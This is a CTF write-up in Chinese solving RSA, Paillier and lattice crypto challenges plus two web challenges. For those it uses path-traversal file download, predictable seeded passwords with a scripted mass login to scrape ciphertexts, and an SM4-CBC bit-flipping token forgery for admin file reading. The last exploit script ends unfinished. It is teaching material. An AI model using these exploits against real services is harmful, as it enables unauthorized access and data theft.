两道和web结合的题目,学习了一下
RSA_Quartic_Quandary
题目:
from Crypto.Util.number import getPrime, bytes_to_long
import math
FLAG = b'**************'
def generate_parameters(bit_length=512):
p = getPrime(bit_length)
q = getPrime(bit_length)
n = p * q
e = 65537
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
s = p ** 4 + q ** 4
return n, e, d, s, p, q
def main():
n, e, d, s, p, q = generate_parameters()
c = pow(bytes_to_long(FLAG), e, n)
with open('output.txt', 'w') as f:
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")
f.write(f"s = {s}\n")
print("[+] Parameters saved to output.txt")
if __name__ == "__main__":
main()
就是解个方程
exp:
n = 125997816345753096048865891139073286898143461169514858050232837657906289840897974068391106608902082960171083817785532702158298589600947834699494234633846206712414663927142998976208173208829799860130354978308649020815886262453865196867390105038666506017720712272359417586671917060323891124382072599746305448903
e = 65537
c = 16076213508704830809521504161524867240789661063230251272973700316524961511842110066547743812160813341691286895800830395413052502516451815705610447484880112548934311914559776633140762863945819054432492392315491109745915225117227073045171062365772401296382778452901831550773993089344837645958797206220200272941
s = 35935569267272146368441512592153486419244649035623643902985220815940198358146024590300394059909370115858091217597774010493938674472746828352595432824315405933241792789402041405932624651226442192749572918686958461029988244396875361295785103356745756304497466567342796329331150560777052588294638069488836419744297241409127729615544668547101580333420563318486256358906310909703237944327684178950282413703357020770127158209107658407007489563388980582632159120621869165333921661377997970334407786581024278698231418756106787058054355713472306409772260619117725561889350862414726861327985706773512963177174611689685575805282
from Crypto.Util.number import *
import math
from sympy import *
f1, f2 = symbols("f1, f2")
f_solve = solve([f1 * f2 - n, f1 ** 4 + f2 ** 4 - s], [f1, f2])
print(f_solve)
p = 9886283652121924227364367891763650443585646023924602862402832944457976031272516261452668401020850156092802805016302198750132659632249261237412357024908843
q = 12744709820126371501672538820972733986675228838744099116170499394098621931788837908787562175058998307224041741444921422195431949471972242197577242845982421
phi = (p-1)*(q-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# palu{This_is_a_fake_flag_change_it_for_real_use}
欧几里得
题目:
import random
import os
from Crypto.Util.number import *
from gmpy2 import lcm, gcd
def exgcd(a, b):
if b == 0: return 1, 0
x, y = exgcd(b, a%b)
return y, x - a//b*y
def get_k():
while True:
p = getPrime(512)
q = getPrime(512)
phi = (p - 1) * (q - 1)
if gcd(p * q, phi) == 1:
break
n = p * q
while True:
g = random.randint(1, n * n)
if gcd((g - 1) // n, n) == 1:
break
return (n, g), (p, q)
def Paillier_encode(m, g, n):
while True:
r = random.randint(1, n - 1)
if gcd(r, n) == 1:
break
return (pow(g, m, n * n) * pow(r, n, n * n)) % (n * n)
def Paillier_decode(c, p, q, g, n):
lam = lcm(p - 1, q - 1)
mi = exgcd((pow(g, lam, n * n) - 1) // n, n)[0] % n
return (pow(c, lam, n * n) - 1) // n * mi % n
pk, sk = get_k()
n, g = pk
p, q = sk
m1 = bytes_to_long(flag)
m2 = bytes_to_long(os.urandom(2) * 35)
c1 = Paillier_encode(m1, g, n)
c2 = Paillier_encode(m2, g, n)
print(f'c = {Paillier_decode(c1 * c2, p, q, g, n)}')
# c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861
由于Paillier 加密具有加法同态性,得到
又因为是
m2 = bytes_to_long(os.urandom(2) * 35)
可以将表示为并且
使用等比数列求和公式
得到:
爆破一下k就好了
exp:
from Crypto.Util.number import long_to_bytes
c = 1426774899479339414711783875769670405758108494041927642533743607154735397076811133205075799614352194241060726689487117802867974494099614371033282640015883625484033889861
S = (pow(256, 70) - 1) // (256**2 - 1)
# Brute-force k
for k in range(65536):
m1 = c - k * S
if m1 < 0:
continue
flag = long_to_bytes(m1)
if flag.startswith(b'palu{'):
print(f"Found k = {k}")
print(f"Flag: {flag.decode()}")
break
# palu{48b635a7a2474ef743e333478b67a2f5}
易如反掌
题目:
import gmpy2
from Crypto.Util.number import getPrime
import hashlib
primes = [(getPrime(1024), getPrime(1024)) for _ in range(4)]
N = [p * q for p, q in primes]
PHI = [(p**2 - 1) * (q**2 - 1) for p, q in primes]
d = getPrime(800)
flag = "palu{" + hashlib.md5(str(d)[].encode()).hexdigest() + "}"
E = [int(gmpy2.invert(d, PHI[i])) for i in range(4)]
print(N)
print(E)
# [23796646026878116589547283793150995927866567938335548416869023482791889761195291718895745055959853934513618760888513821480917766191633897946306199721200583177442944168533218236080466338723721813833112934172813408785753690869328477108925253250272864647989241887047368829689684698870160049332949549671046125158024445929082758264311584669347802324514633164611600348485747482925940752960745308927584754759033237553398957651216385369140164712159020014009858771182426893515016507774993840721603911101735647966838456333878426803669855790758035721418868768618171692143354466457771363078719423863861881209003100274869680348729, 19552522218179875003847447592795537408210008360038264050591506858077823059915495579150792312404199675077331435544143983146080988327453540449160493126531689234464110427289951139790715136775261122038034076109559997394039408007831367922647325571759843192843854522333120187643778356206039403073606561618190519937691323868253954852564110558105862497499849080112804340364976236598384571278659796189204447521325485338769935361453819608921520780103184296098278610439625935404967972315908808657494638735904210709873823527111315139018387713381604550946445856087746716671838144925662314348628830687634437271225081272705532826343, 20588310030910623387356293638800302031856407530120841616298227518984893505166480372963166394317326422544430837759332223527939420321960057410073228508230111170414845403161052128790464277007579491219950440477721075788978767309211469555824310913593208232853272958011299985202799390532181335087622499894389777412111445377637396650710486263652440053717323053536700098339137819966260269752816515681602936416736576044630343136577023173210517247609888936337876211461528203642347119434700140264859102502126842250671976238033270367185358966766106988830596616311824691409766437473419074865115209866730272194297815209976737570183, 18468380817178794606027384089796802449939260582378979728469492439450780893746976934315768186829245395964644992296264093276556001477514083927556578752836255491334765496791841945178275793885002188397918857222419803612711637177559554489679414049308077300718317502586411333302434329130562745942681716547306138457088216901181646333860559988117376012816579422902808478175975263110581667936249474308868051767856694498210084853797453949193117835061402537058150493808371384063278793041752943930928932275052745657700368980150842377283198946138726219378646040515809994704174471793592322237777371900834531014326150160506449286179]
# [229904181453273080302209653709086531153804577507365859149808244958841045687064628362978517491609413507875726243121473678430010600891588643092042173698830147997497783886459583186019270582236955524620567373560535686287255124958954671737097645556109314142383275516997850786599322033792080045303427363366927030304214333894247469120513426641296678531965795930756543043851154646310114366477311633838078242963665452936523438928643273392454483600446242320078010627755587492056369779661382734170244060951095344418599686788550312205964136120979823565225768814898285224838691541122088693411388097496320157113230752327025862802020421665288007529320920942060329299409362236414929126050037144149017275031336018100081931062647888329912802477032857776085190828105602067426203163344931483638271679183910241511044338001446584634203146294743522375846913845041274967653508735863706778364499099286484552570083394223973734909997825522191349543295855925973354640349809770822075226834555111927586299176453943116511915434890643239957459427390624136283086434711471863737451011157026905191204496081860277138227247744470804087252965368757930797560277881668806206419629425126031049566579233056222579590529869798537893505779097868221221068867624660759084762471141, 374749619911728044650812367560174497001343067563440477135516664935394734686391543012901514676044211541958613458868769659861216149364768233000844624035620893309356372294598009760824255187442531508754966566917198975934706398309982525100772311586501118200858124845012643495006029930202324305874402291277845166060497038915773767003006049720519011634861166208163030159519901867416488082395270295488885724507937683469910251316231210838654273986152493722244271430422693265608430755620420680629979226285393465423870727975987787149515374769359243334743541460110042872587610309611770320600248289328406805995688596910226273861759369388105641549933915686192055533242723330981192183310876306968103333706140401422550917946410378174896274789619184565321544130428008804628699594759946577979319393247067750024729672029363433673084437510430506410293512293930056667971242862448029841846596288648691077795207341975907335202945548990662460491169957175452745622341245617265849042542964819126377775749222973138584978725470886059043251544634105653274564085280013340679259157119014619894553239015777411757887293044706448625760604242512494466386343040583010961386979963779928616733980046763291988848903515836247301007113187121999960487508948748354549628160741, 111738429639840672983162926852338651562094139707285850255632987705635459657893186493838711733560515475806567653354737245246745810892238414756414117557971683747269900627524702653772058841085258035513296218047505149691384287812041721130367506731427022265277885965948486359682023555050085264531256406043361391744086539522028829421284667293339869140564699750714145488199268791908205712660933607330454849730499840287271163350865799682565216636393526339218836244889719975150503253630419647851422620890082315396457329065508602521784001607236788620811397449483104884860551374031790663030220424841642241965983726516537123807061999084476076850833658360594525986997125319941689903869138176347916707622148840226672408554102717625456819726220575710494929111642866840516339713870850732638906870325693572445316904688582043485093120585767903009745325497085286577015692005747499504730575062998090846463157669448943725039951120963375521054164657547731579771203443617489609201617736584055562887243883898406182052632245189418568410854530995044542628531851356363297989653392057214167031332353949367816700838296651167799441279086074308299608106786918676697564002641234952760724731325383088682051108589283162705846714876543662335188222683115878319143239781, 185935167438248768027713217055147583431480103445262049361952417166499278728434926508937684304985810617277398880507451351333771783039360671467147075085417403764439214700549777320094501151755362122677245586884124615115132430034242191429064710012407308619977881929109092467325180864745257810774684549914888829203014922855369708286801194645263982661023515570231007900615244109762444081806466412714045462184361892356485713147687194230341085490571821445962465385514845915484336766973332384198790601633964078447446832581798146300515184339036127604597014458389481920870330726947546808739829589808006774479656385317205167932706748974482578749055876192429032258189528408353619365693624106394913101463023497175917598944803733849984703912670992613579847331081015979121834040110652608301633876167262248103403520536210279949844194696898862249482809107840303473964914083996538912970715834110371196970613332286296427286356036576876121010776933023901744994067564045429384172315640135483480089769992730928266885675143187679290648773060781987273082229827156531141515679114580622348238382074084270808291251400949744720804368426414308355267344210055608246286737478682527960260877955900464059404976906697164610891962198768354924180929300959036213841843941]
根据这篇文章的格改了一下IJCSI-9-2-1-311-314.pdf
exp:
from Crypto.Util.number import *
import hashlib
n = [23796646026878116589547283793150995927866567938335548416869023482791889761195291718895745055959853934513618760888513821480917766191633897946306199721200583177442944168533218236080466338723721813833112934172813408785753690869328477108925253250272864647989241887047368829689684698870160049332949549671046125158024445929082758264311584669347802324514633164611600348485747482925940752960745308927584754759033237553398957651216385369140164712159020014009858771182426893515016507774993840721603911101735647966838456333878426803669855790758035721418868768618171692143354466457771363078719423863861881209003100274869680348729, 19552522218179875003847447592795537408210008360038264050591506858077823059915495579150792312404199675077331435544143983146080988327453540449160493126531689234464110427289951139790715136775261122038034076109559997394039408007831367922647325571759843192843854522333120187643778356206039403073606561618190519937691323868253954852564110558105862497499849080112804340364976236598384571278659796189204447521325485338769935361453819608921520780103184296098278610439625935404967972315908808657494638735904210709873823527111315139018387713381604550946445856087746716671838144925662314348628830687634437271225081272705532826343, 20588310030910623387356293638800302031856407530120841616298227518984893505166480372963166394317326422544430837759332223527939420321960057410073228508230111170414845403161052128790464277007579491219950440477721075788978767309211469555824310913593208232853272958011299985202799390532181335087622499894389777412111445377637396650710486263652440053717323053536700098339137819966260269752816515681602936416736576044630343136577023173210517247609888936337876211461528203642347119434700140264859102502126842250671976238033270367185358966766106988830596616311824691409766437473419074865115209866730272194297815209976737570183, 18468380817178794606027384089796802449939260582378979728469492439450780893746976934315768186829245395964644992296264093276556001477514083927556578752836255491334765496791841945178275793885002188397918857222419803612711637177559554489679414049308077300718317502586411333302434329130562745942681716547306138457088216901181646333860559988117376012816579422902808478175975263110581667936249474308868051767856694498210084853797453949193117835061402537058150493808371384063278793041752943930928932275052745657700368980150842377283198946138726219378646040515809994704174471793592322237777371900834531014326150160506449286179]
e0 = 229904181453273080302209653709086531153804577507365859149808244958841045687064628362978517491609413507875726243121473678430010600891588643092042173698830147997497783886459583186019270582236955524620567373560535686287255124958954671737097645556109314142383275516997850786599322033792080045303427363366927030304214333894247469120513426641296678531965795930756543043851154646310114366477311633838078242963665452936523438928643273392454483600446242320078010627755587492056369779661382734170244060951095344418599686788550312205964136120979823565225768814898285224838691541122088693411388097496320157113230752327025862802020421665288007529320920942060329299409362236414929126050037144149017275031336018100081931062647888329912802477032857776085190828105602067426203163344931483638271679183910241511044338001446584634203146294743522375846913845041274967653508735863706778364499099286484552570083394223973734909997825522191349543295855925973354640349809770822075226834555111927586299176453943116511915434890643239957459427390624136283086434711471863737451011157026905191204496081860277138227247744470804087252965368757930797560277881668806206419629425126031049566579233056222579590529869798537893505779097868221221068867624660759084762471141
n0 = n[0]
e1 = 374749619911728044650812367560174497001343067563440477135516664935394734686391543012901514676044211541958613458868769659861216149364768233000844624035620893309356372294598009760824255187442531508754966566917198975934706398309982525100772311586501118200858124845012643495006029930202324305874402291277845166060497038915773767003006049720519011634861166208163030159519901867416488082395270295488885724507937683469910251316231210838654273986152493722244271430422693265608430755620420680629979226285393465423870727975987787149515374769359243334743541460110042872587610309611770320600248289328406805995688596910226273861759369388105641549933915686192055533242723330981192183310876306968103333706140401422550917946410378174896274789619184565321544130428008804628699594759946577979319393247067750024729672029363433673084437510430506410293512293930056667971242862448029841846596288648691077795207341975907335202945548990662460491169957175452745622341245617265849042542964819126377775749222973138584978725470886059043251544634105653274564085280013340679259157119014619894553239015777411757887293044706448625760604242512494466386343040583010961386979963779928616733980046763291988848903515836247301007113187121999960487508948748354549628160741
n1 = n[1]
e2 = 111738429639840672983162926852338651562094139707285850255632987705635459657893186493838711733560515475806567653354737245246745810892238414756414117557971683747269900627524702653772058841085258035513296218047505149691384287812041721130367506731427022265277885965948486359682023555050085264531256406043361391744086539522028829421284667293339869140564699750714145488199268791908205712660933607330454849730499840287271163350865799682565216636393526339218836244889719975150503253630419647851422620890082315396457329065508602521784001607236788620811397449483104884860551374031790663030220424841642241965983726516537123807061999084476076850833658360594525986997125319941689903869138176347916707622148840226672408554102717625456819726220575710494929111642866840516339713870850732638906870325693572445316904688582043485093120585767903009745325497085286577015692005747499504730575062998090846463157669448943725039951120963375521054164657547731579771203443617489609201617736584055562887243883898406182052632245189418568410854530995044542628531851356363297989653392057214167031332353949367816700838296651167799441279086074308299608106786918676697564002641234952760724731325383088682051108589283162705846714876543662335188222683115878319143239781
n2 = n[2]
e3 = 185935167438248768027713217055147583431480103445262049361952417166499278728434926508937684304985810617277398880507451351333771783039360671467147075085417403764439214700549777320094501151755362122677245586884124615115132430034242191429064710012407308619977881929109092467325180864745257810774684549914888829203014922855369708286801194645263982661023515570231007900615244109762444081806466412714045462184361892356485713147687194230341085490571821445962465385514845915484336766973332384198790601633964078447446832581798146300515184339036127604597014458389481920870330726947546808739829589808006774479656385317205167932706748974482578749055876192429032258189528408353619365693624106394913101463023497175917598944803733849984703912670992613579847331081015979121834040110652608301633876167262248103403520536210279949844194696898862249482809107840303473964914083996538912970715834110371196970613332286296427286356036576876121010776933023901744994067564045429384172315640135483480089769992730928266885675143187679290648773060781987273082229827156531141515679114580622348238382074084270808291251400949744720804368426414308355267344210055608246286737478682527960260877955900464059404976906697164610891962198768354924180929300959036213841843941
n3 = n[3]
M = isqrt(n0)
L = Matrix(ZZ, [[M^2, e0, e1, e2, e3],
[0,-n0^2, 0, 0, 0],
[0, 0,-n1^2, 0, 0],
[0, 0, 0,-n2^2, 0],
[0, 0, 0, 0,-n3^2]])
d = abs(L.LLL()[0][0]) // M^2
flag = "palu{" + hashlib.md5(str(d).encode()).hexdigest() + "}"
print(flag)
# palu{b1fc01a38bae760451bcffe777e51b1d}
星际广播站
题目:
查看前端代码发现
const downloadUrl = `/file/download?path=${encodeURIComponent(filename)}`;
可以下载app.py
import sqlite3
import os
import hashlib
from flask import Flask, render_template, request, redirect, url_for, session, flash, g,send_file, abort
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, getPrime
import string
from secret import flag
app = Flask(__name__)
app.secret_key = os.urandom(24) # 用于 session 管理
# 修改数据库路径
# Ensure this line points to the data directory
DATABASE = 'data/users.db'
E = getPrime(7)
NUM_USERS = 128
# assert NUM_USERS >= E
print(f"E: {E}")
FLAG = flag.encode('utf-8')
def get_db():
db = getattr(g, '_database', None)
if db is None:
# Ensure the directory exists when connecting
db_dir = os.path.dirname(DATABASE)
if not os.path.exists(db_dir):
os.makedirs(db_dir, exist_ok=True)
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row # 让查询结果可以通过列名访问
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
import random
from gmssl import sm3, func
def sm3_hash(data):
"""计算数据的 SM3 哈希值"""
if isinstance(data, str):
data = data.encode('utf-8')
hash_bytes = sm3.sm3_hash(func.bytes_to_list(data))
print(f"计算 {data} 的 SM3 哈希值为: {hash_bytes}")
return hash_bytes
def generate_rsa_pair(message, e):
"""生成 RSA 公钥 N 和对应的密文 C"""
key = RSA.generate(1024)
n = key.n
m_long = bytes_to_long(message)
c = pow(m_long, e, n)
return n, c
def init_db():
"""初始化数据库,创建表并填充用户数据"""
db_path = os.path.join('/app', DATABASE) # 在容器内的绝对路径
db_dir = os.path.dirname(db_path)
os.makedirs(db_dir, exist_ok=True) # 确保容器内的目录存在
# 检查数据库文件是否存在于容器内的预期路径
if os.path.exists(db_path):
print(f"数据库文件 {db_path} 已存在,跳过初始化。")
# 即使文件存在,也要确保表结构是最新的
# 可以考虑在这里添加检查表是否存在的逻辑,如果不存在则创建
# return # 如果确定存在就跳过,否则继续执行建表逻辑
print(f"初始化数据库 {db_path}...")
with app.app_context():
db = get_db()
cursor = db.cursor()
# 检查 users 表是否存在
cursor.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='users';")
table_exists = cursor.fetchone()
if not table_exists:
print("创建 users 表...")
cursor.execute('''
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
n TEXT NOT NULL -- 存储大整数 N
)
''')
db.commit() # 提交建表操作
else:
print("users 表已存在。")
# 检查是否需要填充数据
cursor.execute("SELECT COUNT(*) FROM users")
user_count = cursor.fetchone()[0]
if user_count >= NUM_USERS:
print(f"数据库中已有 {user_count} 个用户,跳过填充。")
return # 如果用户数量足够,则跳过填充
# --- 填充用户数据的逻辑 ---
print("开始填充用户数据...")
generated_n_set = set()
# 获取当前数据库中的用户数量
cursor.execute("SELECT COUNT(*) FROM users")
current_user_count = cursor.fetchone()[0]
users_added_this_run = 0
# 从 current_user_count + 1 开始生成用户,直到达到 NUM_USERS
for i in range(current_user_count, NUM_USERS):
username = str(i + 1)
random.seed(username)
characters = string.ascii_letters + string.digits
password = "".join(random.choices(characters, k=6))
password_hash = sm3_hash(password)
n, c = None, None
attempts = 0
max_attempts = NUM_USERS * 5
while attempts < max_attempts:
n_candidate, c_candidate = generate_rsa_pair(FLAG, E)
if n_candidate not in generated_n_set:
# 还需要检查数据库中是否已存在此 N
cursor.execute("SELECT 1 FROM users WHERE n = ?", (str(n_candidate),))
n_exists_in_db = cursor.fetchone()
if not n_exists_in_db:
n = n_candidate
c = c_candidate
generated_n_set.add(n)
break
attempts += 1
if n is None:
print(f"警告:无法为用户 {username} 生成唯一的 N,已尝试 {max_attempts} 次。")
continue
try:
cursor.execute("INSERT INTO users (username, password_hash, n) VALUES (?, ?, ?)",
(username, password_hash, str(n)))
users_added_this_run += 1
print(f"添加用户 {username} 到数据库。")
except sqlite3.IntegrityError:
print(f"用户名 {username} 已存在或 N 值冲突,跳过。")
except Exception as e:
print(f"添加用户 {username} 时出错: {e}")
db.commit()
print(f"数据库初始化/填充完成,本次运行添加了 {users_added_this_run} 个用户。")
@app.route('/')
def index():
if 'username' in session:
return redirect(url_for('dashboard'))
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password_hash_attempt = sm3_hash(request.form['password_hash'])
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT password_hash FROM users WHERE username = ?", (username,))
user = cursor.fetchone()
if user and user['password_hash'] == password_hash_attempt:
session['username'] = username
flash('登录成功!', 'success')
return redirect(url_for('dashboard'))
else:
flash('无效的用户名或密码。', 'error')
return redirect(url_for('login'))
if 'username' in session:
return redirect(url_for('dashboard'))
return render_template('index.html')
@app.route('/dashboard')
def dashboard():
if 'username' not in session:
flash('请先登录。', 'error')
return redirect(url_for('login'))
username = session['username']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT n FROM users WHERE username = ?", (username,))
user_data = cursor.fetchone()
if not user_data:
# 用户在 session 中但数据库中找不到?异常情况
session.pop('username', None)
flash('发生错误,请重新登录。', 'error')
return redirect(url_for('login'))
n = user_data['n']
# c = user_data['c']
m = bytes_to_long(FLAG)
c = str(pow(m, E, int(n)))
return render_template('dashboard.html', username=username, n=n, c=c, e=E)
@app.route('/logout')
def logout():
session.pop('username', None)
flash('您已成功登出。', 'success')
return redirect(url_for('login'))
@app.route('/file/download', methods=['GET'])
def download_file():
path = request.args.get('path', '')
if not path:
return "Error: No path parameter provided", 400
try:
if not os.path.isabs(path):
path = os.path.join(os.path.dirname(__file__), path)
if not os.path.exists(path) or not os.path.isfile(path):
return f"Error: File not found: {path}", 404
return send_file(
path,
as_attachment=True,
download_name=os.path.basename(path),
mimetype='application/octet-stream'
)
except Exception as e:
return f"Error: {str(e)}", 500
if __name__ == '__main__':
init_db() # 启动时检查并初始化数据库
app.run(host='0.0.0.0', port=8000, debug=True)
发现
for i in range(current_user_count, NUM_USERS):
username = str(i + 1)
random.seed(username)
characters = string.ascii_letters + string.digits
password = "".join(random.choices(characters, k=6))
password_hash = sm3_hash(password)
seed就是用户名(0-128),那么就可以知道密码
import sqlite3
import os
import hashlib
import random
import string
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, getPrime
password_1 = []
for i in range(1,128):
username = str(i)
random.seed(username)
characters = string.ascii_letters + string.digits
password = "".join(random.choices(characters, k=6))
password_1.append(password)
# print(password)
# password_1 += (password)
# # password_1 += password
print(password_1)
with open('./pass/pass.txt', "w") as f:
i=1
for password in password_1:
f.write(str(i) + '|' + password+"\n")
i = i+1
尝试用1当作用户名登陆
可以知道c和e
提取所有c
import requests
import bs4
# 打开并读取 pass.txt,每行格式为:账号|密码
with open("pass.txt", 'r') as file:
c = []
for line in file:
line = line.strip()
if not line:
continue
try:
username, password_hash = line.split('|')
except ValueError:
print(f"[!] 格式错误:{line}")
continue
data = {
'username': username,
'password_hash': password_hash
}
url = 'http://challenge.qsnctf.com:31458/login'
try:
print(f"[*] 正在尝试登录用户 {data['username']}:{data['password_hash']}")
response = requests.post(url, data=data)
soup = bs4.BeautifulSoup(response.text, "html.parser")
secret = soup.find('span', class_='data-value')
print(secret.get_text(strip=True))
c.append(secret.get_text(strip=True))
except Exception as e:
print(f"[!] 请求失败 (用户 {username}):{e}")
i = 1
with open('c.txt', 'w') as file:
for ci in c:
file.write(str(i) + '|' + ci + '\n')
i += 1
并且知道n在data/users.db中,提取出来
那么就有129组的n和c,e使用广播攻击
exp:
from gmpy2 import *
from pwn import *
from Crypto.Util.number import *
def crt(n_list, c_list):
n = 1
for i in n_list:
n *= i
N = []
for i in n_list:
N.append(n // i)
t = []
for i in range(len(n_list)):
t.append(invert(N[i], n_list[i]))
summary = 0
for i in range(len(n_list)):
summary = (summary + c_list[i] * t[i] * N[i]) % n
return summary
e = 109
n_list = []
c_list = []
M = crt(n_list, c_list)
m = iroot(M, e)[0]
flag = long_to_bytes(m)
print(flag)
写的时候没保存,后来发现的时候代码删了😭,所以就放一个简易版的吧
*文件查看器
题目:
源码:
from flask import Flask, render_template, request, redirect, url_for, session, flash, send_from_directory, make_response
import os
from gmssl import sm4
def xor(byte1, byte2):
result = bytes(x ^ y for x, y in zip(byte1, byte2))
return result
key = os.urandom(16)
iv = os.urandom(16)
sm4_encryption = sm4.CryptSM4()
app = Flask(__name__, template_folder='templates', static_folder='static')
app.secret_key = b'palupalupalupalupalupalupalupalupalu'
# 保留原始的用户数据访问对象 (DAO)
class UserDAO(object):
def __init__(self):
self.users: dict[str, str] = {}
def getPassword(self, uid: str) -> str:
if uid not in self.users:
raise Exception('用户不存在')
return self.users[uid]
def create(self, uid: str, password: str):
if uid in self.users:
raise Exception('用户已注册')
self.users[uid] = password
return
DAO = UserDAO()
DAO.create('demoUser', '123456')
# --- Flask 路由 ---
@app.route('/')
def index():
if 'uid' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
uid = request.form.get('uid')
if 'admin' in uid:
flash('不可以是admin哦', 'error')
return redirect(url_for('register'))
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')
if not uid or not password:
flash('用户ID和密码不可为空', 'error')
return redirect(url_for('register'))
if password != confirm_password:
flash('两次输入的密码不一致', 'error')
return redirect(url_for('register'))
try:
DAO.create(uid, password)
flash('注册成功,请登录', 'success')
return redirect(url_for('login'))
except Exception as e:
flash(str(e.args[0]), 'error')
return redirect(url_for('register'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
uid = request.form.get('uid')
password = request.form.get('password')
if not uid or not password:
flash('用户ID和密码不可为空', 'error')
return redirect(url_for('login'))
try:
stored_password = DAO.getPassword(uid)
if stored_password != password:
raise Exception('用户ID或密码错误')
user_level = 'admin' if uid == 'admin' else 'guest'
sm4_encryption.set_key(key, sm4.SM4_ENCRYPT)
token_payload = f"{uid}:{user_level}".encode('utf-8')
token = sm4_encryption.crypt_cbc(iv, token_payload).hex()
session['uid'] = uid
flash(f'登录成功,您的 token 是: {token}', 'success')
# 创建响应对象并设置 cookie
response = make_response(redirect(url_for('profile')))
response.set_cookie('auth_token', token, httponly=True, samesite='Lax') # 设置 cookie
return response
except Exception as e:
flash(str(e.args[0]), 'error') # 显示更具体的错误信息
return redirect(url_for('login'))
return render_template('login.html')
@app.route('/profile')
def profile():
if 'uid' not in session:
return redirect(url_for('login'))
# 可以在这里添加解密 token 显示信息的逻辑,但暂时只显示用户名
username = session.get('uid')
return render_template('profile.html', username=username)
@app.route('/logout')
def logout():
session.pop('uid', None)
flash('您已成功登出', 'info')
return redirect(url_for('login'))
@app.route('/file', methods=['GET', 'POST'])
def read_file_page():
if 'uid' not in session :
flash('请先登录', 'warning')
return redirect(url_for('login'))
print(session)
file_content = None
error_message = None
file_path_requested = ''
if request.method == 'POST':
token = request.cookies.get('auth_token') # 从 cookie 获取 token
file_path = request.form.get('path')
file_path_requested = file_path # 保留用户输入的路径以便回显
if not file_path:
error_message = '路径不可为空'
else:
try:
# 保留原始的 SM4 CBC 令牌验证逻辑
sm4_encryption.set_key(key, sm4.SM4_DECRYPT)
token_decrypted = sm4_encryption.crypt_cbc(iv, bytes.fromhex(token))
decrypted_str = token_decrypted.decode('utf-8', errors='ignore')
parts = decrypted_str.split(':')[-2:]
uid_from_token, lv = parts
if 'admin' in lv:
print(f"管理员 {uid_from_token} 尝试读取: {file_path}")
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
except FileNotFoundError:
error_message = '文件未找到'
except Exception as e:
print(f"读取文件错误: {e}")
error_message = '读取文件失败'
else:
error_message = '非管理员,无权限读取服务器文件'
except ValueError as e:
error_message = f'token非法: {e}'
except Exception as e:
print(f"Token 解密/验证错误: {e}")
error_message = 'token无效或已过期'
if error_message:
flash(error_message, 'error')
return render_template('file_viewer.html', file_content=file_content, file_path_requested=file_path_requested)
# 移除 Flask-RESTX 的 404 处理,使用 Flask 默认或自定义模板
@app.errorhandler(404)
def page_not_found(e):
# 可以创建一个 templates/404.html 页面
return render_template('404.html'), 404
if __name__ == '__main__':
# 确保 static 文件夹存在
if not os.path.exists('static'):
os.makedirs('static')
# 确保 templates 文件夹存在
if not os.path.exists('templates'):
os.makedirs('templates')
# 404 页面
if not os.path.exists('templates/404.html'):
with open('templates/404.html', 'w', encoding='utf-8') as f:
f.write('<!doctype html><title>404 Not Found</title><h1>页面未找到</h1><p>您访问的页面不存在。</p><a href="/">返回首页</a>')
if not os.path.exists('static/style.css'):
with open('static/style.css', 'w', encoding='utf-8') as f:
f.write('''
body { font-family: sans-serif; margin: 20px; background-color: #f4f4f4; }
.container { max-width: 600px; margin: auto; background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
h1 { color: #333; }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; }
input[type="text"], input[type="password"] { width: calc(100% - 22px); padding: 10px; border: 1px solid #ddd; border-radius: 4px; }
button { background-color: #5cb85c; color: white; padding: 10px 15px; border: none; border-radius: 4px; cursor: pointer; }
button:hover { background-color: #4cae4c; }
a { color: #0275d8; text-decoration: none; }
a:hover { text-decoration: underline; }
.flash-messages { margin-bottom: 15px; }
.alert { padding: 10px; border-radius: 4px; margin-bottom: 10px; }
.alert-error { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.alert-success { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
.alert-info { background-color: #d1ecf1; color: #0c5460; border: 1px solid #bee5eb; }
.alert-warning { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; }
.file-content { margin-top: 20px; padding: 15px; background-color: #eee; border: 1px solid #ddd; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; }
nav { margin-bottom: 20px; text-align: right; }
nav span { margin-right: 15px; }
''')
app.run(debug=True, host='0.0.0.0', port=10002)
发现使用的CBC模式加密
sm4_encryption.set_key(key, sm4.SM4_ENCRYPT)
token_payload = f"{uid}:{user_level}".encode('utf-8')
token = sm4_encryption.crypt_cbc(iv, token_payload).hex()
其实就是字节反转攻击,修改user_level,从pad(':guest')修改为pad(':admin')
赛时一直在改用户名,咋搞都不对
直接用下ChaMd5的wp
exp:
BLOCK_SIZE = 16
def pkcs7_pad(data, block_size):
padding_len = block_size - (len(data) % block_size)
padding = bytes([padding_len] * padding_len)
return data + padding
def xor_bytes(b1, b2):
return bytes(x ^ y for x, y in zip(b1, b2))
auth_token = '7300fbdc1922432112a7741aa4daf9829729137db4b167b46f4fa1ea396266c7'
A = auth_token[:32]
C_old = pkcs7_pad(':guest'.encode(), BLOCK_SIZE)
B = xor_bytes(bytes.fromhex(A), C_old)
C_new = pkcs7_pad(':admin'.encode(), BLOCK_SIZE)
